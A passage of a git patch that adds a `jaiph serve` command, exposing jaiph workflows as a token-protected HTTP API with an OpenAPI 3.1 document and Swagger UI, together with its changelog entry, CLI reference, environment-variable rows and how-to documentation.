From ff9eac1456fac6ad02ddddb88cb533066c39bb57 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 08:11:16 +0200 Subject: [PATCH 01/24] Feat: add `jaiph serve` HTTP API with OpenAPI and Swagger UI Add a new `jaiph serve` command that exposes workflows over HTTP instead of only stdio JSON-RPC, so jaiph can run as a deployed, network-callable service. Built hand-rolled on node:http with no new runtime dependencies. The server mirrors `jaiph mcp` startup (graph load, diagnostics, --env, Docker image prep, credential preflight) and serves run-resource endpoints under /v1, a browser-usable /docs Swagger UI (CDN assets pinned with SRI), and a per-request OpenAPI 3.1 document generated by a pure buildOpenApi from the same deriveTools exposure rules as MCP. Workflow execution reuses the MCP call layer, now moved to src/cli/exec/call.ts (McpCallResult renamed to WorkflowCallResult, caller-supplied runId), and the generation hot-reload machinery is extracted to src/cli/shared/generation.ts shared by both commands. Adds bearer auth (JAIPH_SERVE_TOKEN, required for /v1 and for non-loopback binds), a concurrency cap (JAIPH_SERVE_MAX_CONCURRENT), body/content-type limits, graceful drain-then-cancel shutdown, docs, and unit/integration/e2e coverage. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 + QUEUE.md | 35 ---- README.md | 5 +- docs/_layouts/docs.html | 1 + docs/cli.md | 41 ++++ docs/env-vars.md | 2 + docs/index.html | 5 + docs/serve.md | 89 ++++++++ e2e/test_all.sh | 1 + e2e/tests/07_installer_binary.sh | 17 +- e2e/tests/147_serve_http_api.sh | 125 +++++++++++ integration/serve-server.test.ts | 254 +++++++++++++++++++++++ package-lock.json | 139 +++++++++++++ package.json | 1 + src/cli/commands/mcp.ts | 147 ++++--------- src/cli/commands/serve.ts | 284 +++++++++++++++++++++++++ src/cli/{mcp => exec}/call.ts | 76 ++++--- src/cli/index.ts | 4 + src/cli/serve/docs.test.ts | 38 ++++ src/cli/serve/docs.ts | 51 +++++ src/cli/serve/handler.test.ts | 292 ++++++++++++++++++++++++++ src/cli/serve/handler.ts | 342 +++++++++++++++++++++++++++++++ src/cli/serve/openapi.test.ts | 79 +++++++ src/cli/serve/openapi.ts | 231 +++++++++++++++++++++ src/cli/serve/server.ts | 77 +++++++ src/cli/shared/generation.ts | 136 ++++++++++++ src/cli/shared/usage.ts | 39 +++- 27 files changed, 2340 insertions(+), 175 deletions(-) create mode 100644 docs/serve.md create mode 100755 e2e/tests/147_serve_http_api.sh create mode 100644 integration/serve-server.test.ts create mode 100644 src/cli/commands/serve.ts rename src/cli/{mcp => exec}/call.ts (80%) create mode 100644 src/cli/serve/docs.test.ts create mode 100644 src/cli/serve/docs.ts create mode 100644 src/cli/serve/handler.test.ts create mode 100644 src/cli/serve/handler.ts create mode 100644 src/cli/serve/openapi.test.ts create mode 100644 src/cli/serve/openapi.ts create mode 100644 src/cli/serve/server.ts create mode 100644 src/cli/shared/generation.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 13377deb..d9fd16e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,8 +2,12 @@ ## Summary +- **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, and the same durable `.jaiph/runs/` records as `jaiph run` are built in. + ## All changes +- **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal `cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) + # 0.11.0 ## Summary diff --git a/QUEUE.md b/QUEUE.md index ddf71b2c..5d29085f 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,41 +14,6 @@ Process rules: *** -## Feat: `jaiph serve` — HTTP API with OpenAPI + Swagger UI #dev-ready - -**Source:** Deployability feedback (2026-07-23): workflows must be invokable over the network and self-describing, not bound to a local stdio parent. Full contract: `design/2026-07-23-serve-http-api.md` — that document is the spec; this task pins the deliverable and its acceptance. - -**Problem:** `jaiph mcp` (`src/cli/commands/mcp.ts`) exposes workflows only over stdio JSON-RPC to a co-located parent process. There is no way to invoke a workflow over HTTP, no machine-readable API description, and no browser-usable surface. This blocks running jaiph as a deployed service (docker/kubernetes) callable by other systems. - -**Required behavior** (details, endpoint table, and error contract in the design doc): - -* New command `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... `, default `127.0.0.1:5247`, dispatched from `src/cli/index.ts`, implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`. Hand-rolled on `node:http` — **no runtime npm dependencies** (project policy; the MCP server set the precedent). devDependencies for tests are fine. -* Startup identical in spirit to `jaiph mcp`: graph load + `collectDiagnostics` (errors → stderr, exit 1), `--env` resolved once via `resolveEnvPairs`, Docker config resolved once, image prepared once, credential preflight as warnings, sandbox-mode startup notice. Logs to stderr; startup line prints listen URL + `/docs` URL. -* Endpoints (this task): `GET /` → 302 `/docs`; `GET /healthz`; `GET /openapi.json`; `GET /docs`; `GET /v1/workflows`; `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → `200` terminal); `GET /v1/runs`; `GET /v1/runs/{id}`; `POST /v1/runs/{id}/cancel`. Run object and `{error:{code,message}}` shape per the design doc. A workflow failure is **not** an HTTP error (run object `status:"failed"`, HTTP 200/202). -* Exposure, naming, descriptions, and request-body schemas come from `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties: false`). Param validation mirrors the MCP `-32602` rules as HTTP 400. -* Execution reuses the MCP call layer: move `src/cli/mcp/call.ts` to `src/cli/exec/call.ts`, rename `McpCallResult` → `WorkflowCallResult`, let the caller supply `runId` (today created inside `callWorkflow`), and extend the result with `{runDir?, exitStatus?, signal?}`. `jaiph mcp` behavior is unchanged after the move (its tests prove it). Sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. -* Hot reload: extract the generation machinery (`loadState`, watch/rewatch, generation dirs) from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts`, used by both commands. For serve, a superseded generation's out dir is deleted only after its in-flight runs finish (refcount), since HTTP runs can outlive a reload. -* Auth: bearer token from `JAIPH_SERVE_TOKEN`, constant-time compare; required for all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only — documented trade). **Binding a non-loopback host without the token set is a startup error.** -* Concurrency cap `JAIPH_SERVE_MAX_CONCURRENT` (default 4) on simultaneous runs → `429`. Body cap 1 MiB → `413`; non-JSON POST → `415`. -* `GET /openapi.json`: OpenAPI **3.1.0** generated per request by a pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`): one concrete path per workflow (own `operationId`, description from `#` comments, MCP input schema as request body), the run-resource paths, run/error component schemas, bearer `securityScheme`. -* `GET /docs`: static Swagger UI shell loading `swagger-ui-dist` from CDN with **pinned exact version + SRI integrity hashes + crossorigin**, `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})`. No embedded/vendored UI assets (decision + air-gap consequence recorded in the design doc; `/openapi.json` is the offline fallback). -* Shutdown: first SIGINT/SIGTERM stops accepting and drains in-flight runs; second signal cancels them; exit 0. -* Docs: new `docs/serve.md` how-to; `docs/cli.md` section; `printUsage` in `src/cli/shared/usage.ts`; README bullet; `docs/env-vars.md` rows for `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` (src-parity docs-lint pins every new `JAIPH_*` name). - -Acceptance: - -* Integration test (real server, port 0, fixture `.jh`): `POST /v1/workflows/{name}/runs?wait=true` round-trips a workflow `return` value in `result_text` with `status:"succeeded"`; async POST returns `202` + `Location`, and polling `GET /v1/runs/{id}` reaches the same terminal result; the run dir exists under `.jaiph/runs/` with `run_summary.jsonl`. -* Integration test: a failing workflow returns HTTP 200 (`wait=true`) with `status:"failed"`, `exit_status` set, and `result_text` containing the failed step and `run dir:` — proving workflow failure is not an HTTP error. -* Unit tests (injected-deps handler, `McpServer`-style): unknown workflow → 404; missing / non-string / unexpected param key → 400; cancel → 202 then terminal `cancelled` (child + container teardown invoked), cancel on terminal run → 409; concurrency cap → 429; body cap → 413; non-JSON POST → 415. -* Auth matrix test: with `JAIPH_SERVE_TOKEN` set, `/v1/*` without or with a wrong bearer → 401 and correct bearer → 200, while `/healthz`, `/openapi.json`, `/docs` answer 200 unauthenticated; a unit test proves non-loopback `--host` without the token exits 1 before listening. -* `buildOpenApi` output passes a real OpenAPI 3.1 schema validator (devDependency, test-only); a test asserts one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture. -* A test asserts the `/docs` HTML pins an exact `swagger-ui-dist` version with `integrity` + `crossorigin` attributes on both assets. -* Hot-reload integration test: adding a workflow to the fixture file surfaces it in `/openapi.json` and `/v1/workflows` without restart; a run started before the reload still completes successfully. -* `jaiph mcp` unit/integration tests pass unchanged after the `call.ts`/generation extraction (no behavior drift in the shared layer). -* `package.json` `dependencies` remains absent/empty; `npm test` passes (which enforces the env-vars docs parity rows). - -*** - ## Feat: `jaiph serve` run inspection — live event stream + artifacts #dev-ready **Source:** Deployability feedback (2026-07-23): "a UI on top to be able to inspect what it is doing" — the API half of that is streaming run events and exposing artifacts over HTTP. Contract: `design/2026-07-23-serve-http-api.md` (§ Events streaming). Requires the `jaiph serve` command (`src/cli/commands/serve.ts`, run registry + bearer auth) already in the codebase. diff --git a/README.md b/README.md index ded0dc63..013a88ae 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [jaiph.org](https://jaiph.org) · [Your first workflow](docs/first-workflow.md) · [Your first agent + sandboxed run](docs/first-agent-run.md) · [Install & switch versions](docs/setup.md) · [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md) · [Architecture](docs/architecture.md) · [CLI](docs/cli.md) · [Contributing](docs/contributing.md) -> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). +> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). --- @@ -27,10 +27,11 @@ - **Safety and inspectability** — Docker-backed sandbox for **`jaiph run`** (env-controlled; see [Sandboxing](docs/sandboxing.md) and [Run in a Docker sandbox](docs/sandbox-run.md)); live **`__JAIPH_EVENT__`** on stderr and durable **`.jaiph/runs/`** artifacts ([Architecture](docs/architecture.md)). - **Tooling** — `jaiph compile`, `jaiph format`, `jaiph install` / `.jaiph/libs/` ([Use & publish a library](docs/libraries.md)), and optional `hooks.json` ([CLI](docs/cli.md), [Add a hook](docs/hooks.md)). - **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). +- **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs ([Serve workflows over HTTP](docs/serve.md)). ## Core components -- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use` / `mcp`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. +- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use` / `mcp` / `serve`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. - **Parser** (`src/parser.ts`, `src/parse/*`) — `.jh` / `.test.jh` → AST. - **Validator** (`src/transpile/validate.ts`) — imports and symbol references at compile time. - **Transpiler** (`src/transpile/*`) — emits atomic `script` files under `scripts/` only (no workflow-level shell). diff --git a/docs/_layouts/docs.html b/docs/_layouts/docs.html index d7053a1c..3db3c43b 100644 --- a/docs/_layouts/docs.html +++ b/docs/_layouts/docs.html @@ -55,6 +55,7 @@
  • Save artifacts
  • Write & run tests
  • Serve workflows as MCP tools
  • +
  • Serve workflows over HTTP
  • Reference
  • CLI
  • Configuration
  • diff --git a/docs/cli.md b/docs/cli.md index 7c960d6c..f6ce3412 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -346,6 +346,47 @@ Tool descriptions come from the `#` comment lines directly above each workflow ( - **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Set `JAIPH_INPLACE=1` to bind the real workspace read-write so tool effects land live (opt-in), or `JAIPH_UNSAFE=true` to run on the host with no sandbox. - Source files in the module graph are watched (polling, ~750 ms). A valid edit re-derives tools and emits `notifications/tools/list_changed`; an edit that fails to compile keeps the previous tool set serving and logs diagnostics to stderr. +## `jaiph serve` +{: #jaiph-serve} + +Serve a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and an embedded Swagger UI. Same exposure rules and execution layer as `jaiph mcp`, over HTTP instead of stdio. See [Serve workflows over HTTP](/how-to/serve) for the recipe. + +```text +jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... +``` + +| Flag | Argument | Effect | +|---|---|---| +| `--host` | `` | Listen address (default `127.0.0.1`). Binding a non-loopback host without `JAIPH_SERVE_TOKEN` set aborts startup. | +| `--port` | `` | Listen port (default `5247`). `0` picks a free port. | +| `--workspace` | `` | Workspace root for import resolution (default: auto-detected). | +| `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env`, resolved once at startup and applied to every run for the server's lifetime. | +| `-h`, `--help` | — | Print the subcommand usage and exit `0`. | + +Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to stderr, exit `1`), one-time Docker image preparation, credential pre-flight as warnings, and a sandbox-mode notice. All logs go to stderr; one startup line prints the listen URL and the `/docs` URL. + +### Endpoints + +| Method & path | Auth | Behaviour | +|---|---|---| +| `GET /` | none | `302` → `/docs`. | +| `GET /healthz` | none | `200 {status, version, tools, in_flight}`. | +| `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request (hot reload needs no cache invalidation). | +| `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). | +| `GET /v1/workflows` | bearer | `{workflows: [{name, description, params}]}`. | +| `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. | +| `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. | +| `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | +| `POST /v1/runs/{id}/cancel` | bearer | `202`; the run reaches `cancelled`. `409` if already terminal. | + +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. + +### Auth and limits + +- `JAIPH_SERVE_TOKEN` (env only) enables a bearer token required on every `/v1/*` request, compared in constant time. `/healthz`, `/openapi.json`, and `/docs` stay unauthenticated (schema metadata only). On loopback the token is optional; binding a non-loopback `--host` without it is a startup error. +- `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. +- Execution and hot reload are identical to `jaiph mcp`; a superseded generation's scripts dir survives until its in-flight HTTP runs finish. + ## Environment variables See [Environment variables](env-vars.md) for the complete inventory. The variables most relevant to CLI behaviour: diff --git a/docs/env-vars.md b/docs/env-vars.md index dfe1c050..5aebaae7 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -78,6 +78,8 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_RUNS_DIR` | host, runtime | path | `.jaiph/runs` under the workspace | `run.logs_dir` | Root directory for run logs. Inside Docker the host CLI overrides this to `/jaiph/run`. | | `JAIPH_RUNS_DIR_LOCKED` | internal | bool | — | — | Lock flag for `JAIPH_RUNS_DIR`. | | `JAIPH_SCRIPTS` | internal | path | — | — | Directory of emitted `script` files for this run. Set after `buildScripts()`. Any parent-shell value is cleared before launch. | +| `JAIPH_SERVE_MAX_CONCURRENT` | host | int | `4` | — | `jaiph serve` — cap on simultaneously-running workflows; requests beyond it get HTTP `429`. Must be a positive integer. | +| `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — bearer token required on every `/v1/*` request (constant-time compared). Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` without it is a startup error. `/healthz`, `/openapi.json`, `/docs` are always unauthenticated. | | `JAIPH_SKILL_PATH` | host | path | — | — | When set and the path exists, `jaiph init` writes `.jaiph/SKILL.md` from that file. Otherwise the CLI walks an install-relative search. | | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | diff --git a/docs/index.html b/docs/index.html index 03cfa29c..b0aaa6a2 100644 --- a/docs/index.html +++ b/docs/index.html @@ -564,6 +564,11 @@

    Runtime

    MCP tools over stdio, so any MCP client (Claude Code, Claude Desktop, Cursor) can call tested Jaiph workflows as tools. See Serve workflows as MCP tools.

    +

    HTTP API. jaiph serve ./tools.jh serves the same workflows over HTTP + with a generated OpenAPI 3.1 document and a browser Swagger UI at /docs, + so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. See + Serve workflows over HTTP.

    Samples

    Jaiph source code is built mostly with real Jaiph workflows. The diff --git a/docs/serve.md b/docs/serve.md new file mode 100644 index 00000000..eda48df7 --- /dev/null +++ b/docs/serve.md @@ -0,0 +1,89 @@ +--- +title: Serve workflows over HTTP +permalink: /how-to/serve +diataxis: how-to +--- + +# Serve workflows over HTTP + +This recipe turns a `.jh` file into an HTTP API: `jaiph serve ./tools.jh` exposes the file's workflows as endpoints, publishes a machine-readable [OpenAPI 3.1](https://spec.openapis.org/oas/v3.1.0) document, and serves a browser-usable Swagger UI. Anything that speaks HTTP — a CI job, a Kubernetes deployment, another service, a human with a browser — can invoke tested workflows and inspect their runs without an MCP client or a local jaiph install. + +It reuses the same compile-time validation, sandboxed execution, and `.jaiph/runs/` artifacts as [`jaiph run`](cli.md#jaiph-run), and the same exposure rules as [`jaiph mcp`](mcp.md). Where MCP binds the server to a co-located stdio parent, `jaiph serve` makes the workflows reachable over the network. + +> **Security:** an HTTP-exposed workflow is arbitrary shell reachable by anyone who can reach the port (and, if set, holds the token) — that is the point. Bind to loopback for local use; for anything else set `JAIPH_SERVE_TOKEN`, put the server behind a TLS-terminating reverse proxy / ingress (the process speaks plain HTTP), and treat the run directory as sensitive. + +## Prerequisites + +- A `.jh` file with at least one workflow. +- Agent credentials for any exposed workflow that uses `prompt` — see [Authenticate agent backends](/how-to/agent-auth). Set them on the **host**; in Docker mode the backend's credential keys are forwarded through the env allowlist. Forward any other host variable a workflow needs with `--env` (same rules as `jaiph run`). + +## 1. Start the server + +```bash +jaiph serve ./tools.jh +# jaiph serve: listening on http://127.0.0.1:5247 — API docs at http://127.0.0.1:5247/docs (2 workflow(s)) +``` + +Defaults are `--host 127.0.0.1` and `--port 5247`. All logs go to stderr. Startup validates the file exactly like [`jaiph mcp`](cli.md#jaiph-mcp): a compile diagnostic prints `file:line:col CODE message` to stderr and exits `1`. + +## 2. Discover the workflows + +```bash +curl -s http://127.0.0.1:5247/v1/workflows | jq +``` + +`GET /openapi.json` returns the full OpenAPI 3.1 document (one path per workflow, each with the workflow's `#`-comment description and its parameters as a JSON request-body schema). `GET /healthz` is an unauthenticated liveness/readiness probe. + +## 3. Invoke a workflow + +A run is a durable resource. `POST /v1/workflows/{name}/runs` starts one; the body is a JSON object of the workflow's parameters (all strings). + +```bash +# Async: 202 + a Location header pointing at the run resource. +curl -si -X POST http://127.0.0.1:5247/v1/workflows/greet/runs \ + -H 'content-type: application/json' -d '{"name":"world"}' + +# Synchronous: block until the run is terminal, then return the final object. +curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ + -H 'content-type: application/json' -d '{"name":"world"}' | jq +``` + +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first), and stop one with `POST /v1/runs/{id}/cancel`. + +## 4. Use the Swagger UI + +Open `http://127.0.0.1:5247/docs` in a browser to get a live form for every workflow. When a token is configured, paste it into the **Authorize** box (Swagger UI keeps it across reloads). The UI loads its assets from a pinned, SRI-verified CDN, so `/docs` needs internet access in the browser; air-gapped operators use `/openapi.json` with any locally-hosted renderer. + +## 5. Require a token and expose the port + +The token comes from the environment (never argv, which leaks into process listings). With it set, every `/v1/*` request must carry `Authorization: Bearer `; `/healthz`, `/openapi.json`, and `/docs` stay open. + +```bash +JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 --port 8080 ./tools.jh +curl -s http://host:8080/v1/workflows -H 'authorization: Bearer secret' | jq +``` + +Binding a non-loopback `--host` **without** `JAIPH_SERVE_TOKEN` is a startup error — the server refuses to expose unauthenticated arbitrary shell. Cap simultaneous runs with `JAIPH_SERVE_MAX_CONCURRENT` (default `4`); requests beyond the cap get `429`. See [Environment variables](env-vars.md) for both. + +Execution honors the same env-driven sandbox as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `JAIPH_INPLACE=1` keeps the sandbox but binds the real workspace read-write so run effects land live; `JAIPH_UNSAFE=true` runs on the host with no sandbox at all. Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. + +## Verification + +```bash +# Health probe answers, unauthenticated. +curl -s http://127.0.0.1:5247/healthz | jq -e '.status == "ok"' + +# A synchronous run round-trips its return value with a durable run dir. +curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ + -H 'content-type: application/json' -d '{"name":"ok"}' \ + | jq -e '.status == "succeeded" and (.run_dir | length > 0)' +``` + +Both `jq -e` checks exit `0` when the contract holds. The run's durable record is under `.jaiph/runs/…/run_summary.jsonl` (`run_dir` in the response), the same artifact layout as `jaiph run`. + +## Related + +- [CLI — `jaiph 